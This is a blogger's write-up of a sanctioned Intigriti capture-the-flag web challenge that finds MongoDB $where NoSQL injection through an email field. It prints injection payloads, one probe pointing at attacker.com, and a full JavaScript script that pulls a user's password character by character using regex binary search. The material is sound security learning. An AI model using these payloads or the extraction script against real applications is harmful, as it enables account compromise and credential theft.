Intigriti January challenge (0123)
The challenge
The challange can be found on https://challenge-0123.intigriti.io/
Challenge description:
Find a way to steal an Intigriti employee’s password on the challenge page and win Intigriti swag.
The rules are listed as follows:
- Your goal is to find the flag
- The flag format is INTIGRITI{.*}
The actual challenge page can be found under the path /challenge
. Note that
- This time there is no mention of any XSS in the rules.
- Leaking a password sounds like we will have to do something serverside.
First impressions
The application seems to offer us the opportunity to search for users and get a listing of the number of friends the user has. There exists a page to sign in, and a page to change the signed-in user’s email address. Testing the basic functionality
- Searching for a username will fetch the data of that user somehow. Database calls?
- There is unrestricted HTML/XSS injection in the username, log in with a payload and search for it to trigger it. XSS?
- Changing your email address to another user’s email address will return that other user’s user information when searching for your own name. Account takeover?
- Changing email makes a form post to the same URL while doing a search sends a POST request to
/api/friends?q=test
. - Email input was verified in the frontend, but modifying the request in dev tools showed that it was not as strict in the backend and accepted anything to be added after a valid email.
Initial tests
As there is usually some form of XSS in these challenges, and the name was an injection point I tried to look for something to do with this. But it looked like a pure self XSS. Changing the email address to another account’s email to connect the accounts looked like it could be useful but I did not find any way to see the user data other than the supplied search endpoint. Reading through the source code of the different pages did not reveal anything of interest. I was left with the email endpoint which seemed to allow injections in raw payloads when bypassing the front end validation.
Tesing for backend bugs
As the backend seemed to be doing some sort of validation of the input, complaining on any malformed email, but still allowing trailing input I started to test for backend injections. Some payloads and results
The Friends Search Engine - Change your email
Success
Email updated
test@test.com<img src='https://attacker.com'>
- to see if I could get any out-of-bounds backend XSS
test@test.com{7+7}${7+7}
- just to see if it gave any response, thought it could be serverside template injection
test@test.com\"'>]})
- to see if the request would fail due to some SQL or similar injection
All requests were accepted with:
The Friends Search Engine - Change your email Success Email updated
And nothing more, no out-of-bounds calls or SQL errors.
Hunting is a mix of perseverance and luck
Going back to testing the search endpoint for injections I suddenly got this error in my console (always keep it open!). A 500 error was thrown when the application frontend tried to parse the response data using JSON.parse()
. The data it tried to parse looked like this
<!doctype html>
<html lang=en>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to
complete your request. Either the server is overloaded or
there is an error in the application.</p>
This is what we want when looking for backend injections! But I searched for test
, so how did it break? The last email change I made contained a lot of breaking characters, so I realized that it must be the email that is causing the error. The backend must use my email address to make some sort of call to fetch data.
There are multiple types of databases
I don’t have much experience when it comes to things like SQL injections or other database bugs, but the little experience that I have taught me that you need to “fix” the syntax in the injection before trying to abuse it. So the next step in checking for SQL injections is to see if I can fix the syntax while still injecting something I can control.
The breakage looked to come from sending a "
(double quote) to the backend. This suggests that the injection points look something like this "injection"
. The idea is to inject something like this " OR 1 == 1 --
which would inject an “always true” statement into the query and leak data. Nothing happened.
I spent some time testing different payloads but everything came back as 500
error. I finally ended up (as one so often does) on https://book.hacktricks.xyz NoSQL injections. Finally, I had some success with the payload wrong@email.com" || "1" == "1
. My feeling was that the backend did a database request similar to email == "input"
and that my injection would end up as
email == "wrong@email.com" || "1" == "1"
The payload breaks out after the email and needs to take the trailing "
into account so omitting that as well from the payload. I later learned that I could terminate the string by appending %00
(a null byte) after my payload and the backend would drop anything remaining after that. Testing this out now showed this on the search page:
I got another user, It probably shows the first user of the database as my injection will fail on the email match and then just succeed on any match due to 1==1
always being true.
Building before breaking
Now the real challenge began as I have never dealt with a NoSQL database before. I started Googling for ways to extract data, and most of it ended up with the same 500
error. I hoped to be able to use some sort of stacked queries but for NoSQL, or somehow add fields to the returned data by constructing some sort of JSON object of the injection. Again a lot of 500
responses. My preconception of NoSQL is that everything is JSON and that I would be able to manipulate this JSON. Googling for NoSQL injection does bring up a lot of info but it is not super comprehensive and probably targeted at people who already know this paradigm.
I decided to get to the source and actually understand what could be going on in the backend (at this time Intigriti also posted a fruit hint so my focus fell on MangoDB… sorry MongoDB). The MongoDB documentation had this example of querying the database from a Node backend
db.collection.find({key: value})
and as with SQL there is also a “where” syntax one can use for searching in the database. It is defined like this { $where: <string|JavaScript Code> }
and from the examples is used like this
db.collection.find({
$where: <string|JavaScript Code>
})
The <string|JavaScript Code>
is interesting. I do not completely understand this. But it looks like one can either add javascript code, or a string (or javascript code as a string?). Don’t take this as a guide for how to write MongoDB queries, but what I found out is that the backend we are encountering might do something like this
db.users.find({
$where: "email == \"" + user_input + "\""
})
The documentation tells us that the string in the $where
key will actually be interpreted as javascript. So our “always true” payload from above could be written like this wrong@email.com"; return true %00
. Wow, executing code in the backend! Is this an RCE? No unfortunately not, the documentation for $where
gives us a list of what functions can be called.
That’s too bad, but at least we do understand the syntax now. To test some payloads out I used https://mongoplayground.net/ and could finally rule out any out-of-band requests or stacked queries.
Back to hacktricks
.
Playing with regexp
There was a payload on hacktricks
that used this syntax this.password.match(/.*/)
where regexp (/regexp?/) can be used to match values. I tried this payload wrong@email.com" || this.password.match(/INTIGRITI{.*/) %00
(remember the flag format). And now we get a known face as a response to our search PinkDraconian
!
This whole regexp matching did resemble something that I had played with before while trying to extract CSRF tokens using CSS. There are some great blog posts from d0nut about this subject. And even if I felt like brute-forcing the password was a bit brutal for a playful challenge, It looked like the only option I had left.
The idea behind this sort of brute force regexp leakage is that you craft your payload to match the point where you don’t know the next letter. In our case INTIGRITI{
. We then send requests like INTIGRITI{a.*
then INTIGRITI{b.*
and so on, until we get a match again. When we get a match we will now know one more letter and start over with INTIGRITI{ba.*
. We repeat this until we get to the closing }
. If we assume the token to only contain letters(upper and lower case) and numbers we are looking for an average of 61/2
try on each position. Given a token of 10 characters, this would take proximitly 305 requests. But as there was no indication of what the token could contain (special chars for example) or how long it was, I decided to set myself up with a code challenge. Implement a binary search algorithm to reduce the number of requests.
Binary search regexp leak
A binary search reduces the amount of “tries” by always testing half of the current possibilities in one go. This can be explained like this. You need to find which one out of a set of say 16 marbles that your opponent is thinking of. You can ask the opponent by pointing at each marble in successive order, potentially asking 16 questions. The binary search alternative would be to divide the pile of marbles into two piles and ask the opponent if the sought marble is in say the left pile. You will then know which pile the marble is in. You discard the other one. Now you divide the remaining into two piles of 4 and repeat. This will allow you to be certain to at most ask 4 questions before knowing which marble is the sought one.
In our case, we would be looking at all 128 printable characters in the ASCII set. This would give us a potential 128 questions in a naive way, but only 8 questions at max in binary search. We could then find a 20 letters token in just 160 requests to the server!
This is my hacked together javascript binary search implementation (the aim here was to get it to work, not to make a great implementation)
const chars = [];
// Create a list of all printable chars
for (let i = 33; i < 127; i++) {
chars.push(String.fromCharCode(i));
}
// Make sure to escape chars with special meanings in regexp
const escapedChars = chars.map((a) =>
["^", "-", "\\", "~", "]"].indexOf(a) === -1 ? a : `\\${a}`
);
// Split an array in two parts
function splitInHalf(arr) {
const midpoint = arr.length / 2;
const first = arr.slice(0, midpoint);
const last = arr.slice(midpoint);
return { first, last };
}
// Make a test request to the challenge page
async function testPasswordRegexp(verifiedList, testList) {
// Make a request to change the email to inject the payload
await fetch("https://challenge-0123.intigriti.io/editor.html", {
headers: {
"content-type": "application/x-www-form-urlencoded",
},
body:
'email=no%40no.se" || (this.username == "PinkDraconian" %26%26 this.password.match(/INTIGRITI{' +
verifiedList.join("") +
"[" +
encodeURIComponent(testList.join("")) +
"].*/))%00",
method: "POST",
credentials: "include",
});
// Make a request to check the result of the injection
const res = await fetch(
"https://challenge-0123.intigriti.io/api/friends?q=hej",
{
method: "GET",
credentials: "include",
}
);
// The response should be JSON, otherwise log error
let data;
try {
data = await res.json();
} catch {
console.log(res);
}
return data;
}
async function leakPassword() {
//Login as user "hej"
fetch("https://challenge-0123.intigriti.io/login.html", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": "username=hej&password=hej",
"method": "POST",
"credentials": "include"
});
let verifiedList = [];
while (verifiedList.indexOf("}") === -1) {
// Start with all the chars
let testList = [...escapedChars];
// Kids, do not use while(true) at home!
while (true) {
let listParts = splitInHalf(testList);
// If there is only one left it is the one we want!
if (testList.length === 1) {
verifiedList.push(listParts.last[0]);
break;
}
const response = await testPasswordRegexp(verifiedList, listParts.first);
if (response != null && response?.length != 0) {
testList = listParts.first;
} else {
testList = listParts.last;
}
}
console.log(`INTIGRITI{${verifiedList.join("")}`);
}
return `INTIGRITI{${verifiedList.join("")}`;
}
async function run() {
const password = await leakPassword();
alert(password);
}
run();
The code runs two while
loops. The inner one is for doing the binary search for the current unknown value, and the outer one repeats the inner one until we find the closing }
. The only other part worth noting is the regexp syntax where we match for “any one character from a given set of characters”. This is done by putting any valid character inside of a square bracket pair. This [abc]
would match if the next character to be read by the regexp is either an a
, a b
, or a c
. We use this here by splitting the character array into two and using one of them in the regexp. If we get PinkDraconian
back we know that the correct letter is in that set, if we get a null
back the letter is in the other set.
The attacker only now needs to go to the challenge page and paste the code in the dev-tools console and hit enter
Takeaways
- NoSQL injection is a thing! similar to SQLi but with its own quirks. I should test for this in applications.
- Implementing any sort of algorithm is error-prone if you don’t take the time to think it through! I did not save time (or requests) by implementing this, but it was fun! I could have gone for a pure brute force and been done with it much quicker
- Regexp can be called regex or regexp
- Make sure to understand the tech you are trying to break. Make sure you understand how it works before you break it. You can get lucky, but taking the time to read the docs might save you a lot of time and headaches. And you will learn something new.
Thanks for reading if you made it this far!